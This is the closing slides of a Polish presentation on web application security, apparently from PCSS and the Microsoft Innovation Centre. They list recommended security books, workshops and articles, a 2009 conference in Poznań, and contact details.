• Udoskonalanie zabezpieczeń aplikacji i
serwerów internetowych
• Bezpieczny kod - tworzenie
i zastosowanie
• Więcej ksiąŜek:
-
http://www.microsoft.com/poland/security/books/d
efault.mspx (PL)
http://www.microsoft.com/learning/books/security/
default.asp (EN)
86
Zapraszamy (1):
• Startup-IT
-
Warsztaty „Tworzenie serwisów
internetowych (27.02 - rejestracja zamknięta :(
i 13.03.2009)
•
•
•
•
-
Artykuły ekspertów
•
-
„PHP czy .NET? A moŜe coś innego?”
„Zabezpieczenia serwisów internetowych i ich łamanie”
„Zabezpieczenia serwerów internetowych”
„Zabezpieczanie aplikacji webowych w środowisku ASP.NET”
np. cykl „Filtrowanie danych w aplikacjach internetowych”
http://www.startup-it.pl
87
Zapraszamy (2):
• Centrum Innowacji Microsoft
-
Program szkoleń bezpieczeństwa MIC
•
•
-
m.in. warsztaty Omijanie firewalli w systemach Windows
http://mic.psnc.pl/pl/tasks/lect.html
III Konferencja MIC - Dzień otwarty
•
•
•
16.04.2009, Poznań
Interoperacyjność, wirtualizacja, bezpieczeństwo
Wkrótce więcej informacji i rejestracja na stronach MIC
88
Informacje kontaktowe
• Autor prezentacji
-
[email protected]
• Centrum Innowacji Microsoft
-
http://mic.psnc.pl
[email protected]
• PCSS
-
http://www.pcss.pl
• Zespół Bezpieczeństwa PCSS
-
http://security.psnc.pl
[email protected]
89
Pytania i dyskusja
Dziękuję za uwagę!
90

Podobne dokumenty